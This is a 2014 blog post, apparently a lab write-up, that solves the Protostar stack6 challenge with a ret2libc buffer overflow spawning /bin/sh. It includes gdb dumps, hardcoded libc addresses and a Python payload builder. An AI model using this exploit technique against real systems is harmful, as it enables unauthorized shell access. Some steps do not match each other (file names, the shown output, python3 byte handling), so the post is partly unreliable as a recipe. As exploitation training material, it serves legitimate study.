Sunday, December 21, 2014

Protostar - Stack #6


Stack6 looks at what happens when you have restrictions on the return address. (link)

Source Code:


Stack6 is similar to the fifth challenge, except there's an additional check in getpath() to make sure the return address is not on the stack.

This means that if we want our code to get executed, it can't be part of what we pass in as a part of the gets() call.

I hadn't done any ret2libc-related work before, so this writeup was a really great way to get started -

The high-level summary of what I ended up getting working is to trigger calls to system() and exit() within libc, passing in the string "/bin/sh" as the argument to system(). This let me have shell access, which I could then do whatever I wanted with.

This is the general structure of the buffer we'll pass in:
 This is because when we return to the address of the system() function (SYSTEM_ADDR), we need to mimic the calling conventions by placing the address that it should return to (EXIT_ADDR) and the arguments we want it to be called with (SYSTEM_ARG) above the saved EIP in the stack.

So first we need to get the offset that will tell us how many bytes long our PADDING should be.

(gdb) disas getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:    push   %ebp
0x08048485 <getpath+1>:    mov    %esp,%ebp
0x08048487 <getpath+3>:    sub    $0x68,%esp
0x080484ec <getpath+104>:    mov    %edx,0x4(%esp)
0x080484f0 <getpath+108>:    mov    %eax,(%esp)
0x080484f3 <getpath+111>:    call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:    leave 
0x080484f9 <getpath+117>:    ret   
End of assembler dump.

(gdb) break *0x080484f8
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.

(gdb) run < /tmp/a    (a file with contents of "aaaaaaaaa...")
Starting program: /opt/protostar/bin/stack6 < /tmp/a
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:23
23    stack6/stack6.c: No such file or directory.
    in stack6/stack6.c

(gdb) x/40h $esp
0xbffff740:    0x85f0    0x0804    0xf75c    0xbfff    0x1b28    0xb7fe    0x0001    0x0000
0xbffff750:    0x0000    0x0000    0x0001    0x0000    0xf8f8    0xb7ff    0x6161    0x6161
0xbffff760:    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161
0xbffff770:    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x8300    0x0804
0xbffff780:    0x1040    0xb7ff    0x96ec    0x0804    0xf7b8    0xbfff    0x8539    0x0804

(gdb) i r
eax            0x2a    42
ecx            0x0    0
edx            0xb7fd9340    -1208118464
ebx            0xb7fd7ff4    -1208123404
esp            0xbffff740    0xbffff740
ebp            0xbffff7a8    0xbffff7a8
esi            0x0    0
edi            0x0    0
eip            0x80484f8    0x80484f8 <getpath+116>
eflags         0x200292    [ AF SF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Ok, so we know from before our offset is equal to the distance between $ebp + 4 - addr_start_of_buffer. In this case, that's 0xbffff7a8 + 4 - bffff75c, or 0x50.

Because SYSTEM_ARG needs to be a pointer to a string that contains the command we want to run, it might be easiest to put that string ("/bin/sh" in our case) at the top of our buffer.

This means our buffer has to start with "/bin/sh" and our SYSTEM_ARG needs to be the address of the start of the buffer.

We still need to get SYSTEM_ADDR and EXIT_ADDR, so to do that, let's open up gdb again:

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Ok, now we're just missing something to pass in as an argument to exit().

Because it doesn't really matter, let's go with 0xFFFFFFFF.

I wrote a short python script to create our buffer:
#!/usr/bin/env python3

offset = 80
command = "/bin/sh;#"
filler = "a"*(offset - len(command))

system_addr= "\xb0\xff\xec\xb7"
system_arg = "\x5c\xf7\xff\xbf"  # addr of start of buffer

exit_addr = "\xc0\x60\xec\xb7"
exit_arg = "\xff\xff\xff\xff"

print(command + filler + system_addr + exit_addr + system_arg + exit_arg)

Now we just have to create a file to use as the buffer:
user@protostar:/opt/protostar/bin$ python /tmp/ > /tmp/stack

And pipe that into stack6 (the 2nd cat is used to keep the pipe open and let our commands flow into our shell):

user@protostar:/opt/protostar/bin$ (cat /tmp/stack6-buffer; cat) | /opt/protostar/bin/stack6
input path please: got path /bin/sh;#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa???aaaaaaaaaaaa????`?\???????
whoami   (<-- I typed this)
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
echo "woohoo!"

We're done!

1 comment: